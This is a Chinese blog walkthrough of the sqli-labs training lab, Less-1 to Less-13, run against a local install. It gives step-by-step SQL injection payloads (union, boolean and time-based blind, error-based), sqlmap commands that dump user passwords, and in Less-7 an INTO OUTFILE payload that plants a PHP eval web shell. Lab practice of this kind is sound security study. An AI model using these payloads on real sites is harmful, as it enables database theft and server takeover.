sql-labs

Less-1~10 GET型注入题

Less11~22 POST型注入题

Less23~32 WAF绕过

Less32-37 宽字节注入

数据库基本操作语句

1.查库:select schema_name from information_schema.schemata;

2.查表:select table_name from information_schema.tables where table_schema='security';

3.查列:select column_name from information_schema.columns where table_name='users';

4.查字段:select username,password from security.users;

SQL注入分类 

分类:
	Ø 按照注入点的不同
	▪ 数字型
当输入参数为数字类型时,例如页码,ID等,存在注入时则为数字类型的注入。

测试方法如下:

http://www.test.com/a.php?id=1

http://www.test.com/a.php?id=1’                         返回异常

http://www.test.com/a.php?id=1 and 1 =1              返回正常

http://www.test.com/a.php?id=1 and 1 =2              返回异常

说明存在注入可能。

	▪ 字符型
当输入参数为字串类型时,则为字串类型的输入,其与数字类型的注入的区别在于:注入时需要使用单引号来闭合。

测试方法如下:

http://www.test.com/b.php?name=admin

http://www.test.com/b.php?name=admin’and 1 = 1 --     返回正常

其不同主要原因在于sql语句的差异,例,select *from user where name = ‘admin’ 则注入时需要单引号闭合,注入的数据应为admin’and 1 = 1 --,合并为sql则为select * from user where name = ‘admin’and 1 = 1 -- ‘ 。

	Ø 按照提交方式的不同
GET注入
POST注入
COOKIE注入
HTTP注入
	Ø 按照获取信息的方式不同
基于布尔
基于时间
基于获取方式不同

手工注入一般思路 

1.判断是否存在注入,注入是字符型还是数字型       
2.猜解 SQL 查询语句中的字段数                            order by
3.确定显示的字段顺序                            union select 
4.获取当前数据库                                 union select
5.获取数据库中的表          union select        group_concat() 
6.获取表中的字段名     union select       group_concat()
7.查询到账户的数据     union select    group_concat( )

less-1     单引号回显注入

判断数字型注入还是字符型注入

http://127.0.0.1/sqli-labs-master/Less-1/?id=1            正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'          异常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=1    正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=2        异常

判断结论:不是数字型注入,有符号包裹

 

现在还不知道是被什么东西包裹,试试单引号,当单引号包裹时,http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

输出的异常显示为

现在我们从头开始一层一层剥离,报错位置在:

'xxxx',单引号里边的内容是具体报错的信息

下边'1'是完整的,在数据库内部是完整的语句,

后边有一个单引号可以看出猫腻

推测是包裹了单引号的报错型注入

验证一下↓

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1--+     正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2--+    异常

或者直接打开网页源文件,看到是被单引号包裹的,证毕

下一步,order by (二分法)

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3--+

回显正常,确定字段数是3

下一步,union select,确定字段顺序

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

下一步,查询库名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

查询当前所在库名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+

下一步,查询'security'这个库所有的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+

下一步,查询'users'这个表中所有的字段

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

下一步,查询用户名密码,用空格隔开

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username,0x20,password) from security.users--+

less-2 数字型回显注入

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

less-3 单引号字符型变形回显注入(输入单引号看报错信息,near ' '1'') LIMIT 0,1' ,按照剥离的步骤,剥离出')单引号和括号)

http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=1--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 --+
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,3--+

less-4 双引号字符型变形回显注入(输入双引号看报错信息,near '"1"") LIMIT 0,1'  ,按照剥离的步骤,剥离出")双引号和括号)

http://127.0.0.1/sqli-labs-master/Less-3/?id=1") and 1=1--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=1") and 1=2 --+
http://127.0.0.1/sqli-labs-master/Less-3/?id=1") order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1") union select 1,2,3--+

less-5 单引号延迟注入

首先判断是单引号注入,而不是数字型注入

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1 --+   不正常,但看到这个基本猜到存在延迟注入(正常网站是不会像这样有回显的)

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=2 --+   异常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3--+   不正常,这说明可能有3个字段,但是没有回显, 不确定

 

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 4--+   异常,感觉更像是有3个字段,,,

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select 1,2,3 --+  不正常

没有回显,后边用延时注入试一下

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5) --+

延迟5秒后显示如图

可以判断是存在延迟注入的

方法一:sqlmap跑数据

爆库

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --current-db

爆security的表 

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" --tables

爆users的字段 

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" --col

爆值

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

  

方法二:手工注入

此处用到了两个方法:

1,布尔型注入

2,延迟型注入:本方法中payload核心部分:  ?id=1' and if(报错型payload核心部分,sleep(5),1)--+

手工盲注的一般步骤

1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
	a. 判断数据库名称的长度(二分法思维)    length()
	b. 判断数据库名称的字符组成元素      ascii()      substr(string,start,length)
3.猜解数据库中的表名
	a. 猜解表的个数        select      count() 
	b. 猜解表名             
	• 表名称的长度       select  length()    substr()     
	• 表名称的字符组成  select  ascii()    substr(string,start,length)
4.猜解表中的字段名
	• 猜解xxx表中的字段数目     select count()
	• 猜解xxx表中的各个字段的名称     select count()
5.获取表中的字段值      
	• 用户名的字段值     length()    substr()    select
	• 密码的字段值       length()    substr()    select
		○ 每个字段值的字符长度
		○ 用二分法依次猜解user/password字段中每组字段值的每个字符组成
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…

首先,爆库长

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+

等待了5秒显示下图,说明库长是8

如果猜的库名长是9

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(length(database())=9,sleep(5),1)--+

不用等待5秒,就出现下图,说明库长不是9(重点不是出现什么回显,实际环境可能什么回显都没有,重点是等待了5秒)

下一步,爆库名(实际上应该用二分法的,不断缩小区间取值,我直接取值 了)

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+                  s

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1) --+                  e

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(ascii(substr(database(),3,1))=115,sleep(5),1) --+                  c

......

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(ascii(substr(database(),8,1))=121,sleep(5),1) --+                   y

得出库名是security

下一步,爆表

1,有几张表

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+

二分法得出是4张表

2,
第一张表的长度是6

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6 --+

第二张表的长度是8
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=8 --+

第三张表的长度是8
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1))=7 --+

3,第4张表的长度是5

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1))=5 --+

4,第4张表的第一个字符是u

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 --+

5,第4张表的其余字符是s,e,r,s,得出第4张表是users

下一步,此时,根据表明users,我猜列名有password,因此爆列名(limit 4,1是一个一个试出来的limit1,1;limit2,1;limit3,1,因为你也不知道password是在第几列...)

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

确实存在

下一步,爆值(爆值也是先判断值的长度,然后用ASCII码一个一个猜解出来,很麻烦,这里用到一个函数left(),是偷懒的方式,是假设你知道有这个名字,如果真的存在这个名字,则延迟5秒,这种方式侧重验证)

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

......

一个一个的值都给爆出来

less-7 字符型写入文件

先初步判断,不是数字型,是字符型,

查看源文件是')),

因为要给服务器上写文件,所以先找到一个路径,把文件写上以后,就可以连接菜刀了

利用less-2,找到路径

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

现在写文件,显示报错但依然可以写入

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,3 into outfile "C:/phpStudy/MySQL/data/2222.php" --+

然后我们正经写一个,在WWW下写,一会可以直接访问

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "C:/phpStudy/WWW/333.php" --+

连接菜刀

TIPS:想要写文件,需要获得权限,设置MySql的my.ini文件,最后添加secure_file_priv ="",重启phpstudy即可写入

less-8 单引号字符型-布尔型注入

看了下源文件,是单引号字符型注入

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=1 --+

提示

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=2 --+

提示

这就看出来了,典型的布尔型注入,如果构造的语句正确,就会回显You are in ......,如果构造的语句不正确,就不会回显

爆库

库长:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8--+

库名:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),1)='s'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),2)='se'--+

......

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),8)='security'--+

爆表

limit 0,1                0表示从第一位开始,1表示一次取一位,取到字符串结束为止
limit 3,1                表示从第4位开始,一次取一位,取到字符串结束为止
left(database(),1)       从左起,取1位
left(database(),5)       从坐起,取5位  

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),6)='emails' --+ 

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),8)='referers' --+

...

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+

爆列

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),8)='user_id' --+

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),10)='first_name' --+

......

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

......

爆字段

?id=1' and left((select password from users order by id limit 0,1),4)='dumb' --+

?id=1' and left((select password from users order by id limit 1,1),10)='i-kill-you' --+

?id=1' and left((select password from users order by id limit 2,1),8)='p@ssword' --+

......

?id=1' and left((select username from users order by id limit 0,1),4)='dumb' --+

?id=1' and left((select username from users order by id limit 1,1),8)='angelina' --+

......

布尔型注入要一个一个试,我每个步骤都省略了10步。。。

less-9 单引号字符型-延时(时间)注入

这个题判断不出来是数字型还是字符型注入,首选是延时型的双注入,看了下源文件,是单引号字符型-延时型注入

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) --+

类似less-5

核心部分是

?id=1' and if(核心payload , sleep(5), 1) --+

又返回less-5看了下,好像就在判断字符型/数字型注入的这一环节不同,后边的都一样

less-10 双引号字符型-延时注入

把less-9的单引号换成双引号即可

less-11 单引号回显注入

后来来到post型注入

这种有留言板、账户登录的页面一般是post型的sql注入,我们上来直接万能密码试一下,结果登录成功了。

这里的注释符号用#,不能用--+了

这一关类似于第一关,只是将get型改为了post型。

hackbar的POST输入框,填上payload,并执行

当为2

uname=1' order by 2#&passwd=123&submit=Submit

当为3

这说明了 有两个字段

爆库

uname=-1' union select 1,database()#&passwd=123&submit=Submit

爆库

uname=-1' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=123&submit=Submit

后边的测试,核心payload也都跟less-1相似

less-12 双引号+括号 回显注入

把less-11的单引号换成双引号+括号即可
 

爆库
uname=-1") union select 1,database()#&passwd=123&submit=Submit
爆表
uname=-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=123&submit=Submit
爆字段
uname=-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='user'#&passwd=123&submit=Submit
爆密码
uname=-1") union select 1,group_concat(username,password) from security.users#&passwd=123&submit=Submit

less-13 单引号+括号 无回显注入

把less-11的单引号换成单引号+括号

方法一:时间盲注

uname=admin') and if(left(database(),1)='s',sleep(5),1)#&passwd=admin&submit=Submit

ps:uname后边要跟真实存在的账户名

方法二:双查询注入

uname=1') and extractvalue(1,concat('~',(select password from users limit 1,1),'~'))#&passwd=admin&submit=Submit

Ps:该函数最多输出32字节 需配合substr或limit 使用

方法三:sqlmap工具

注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http:127.0.0.1/sqli-labs-master/Less-13/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值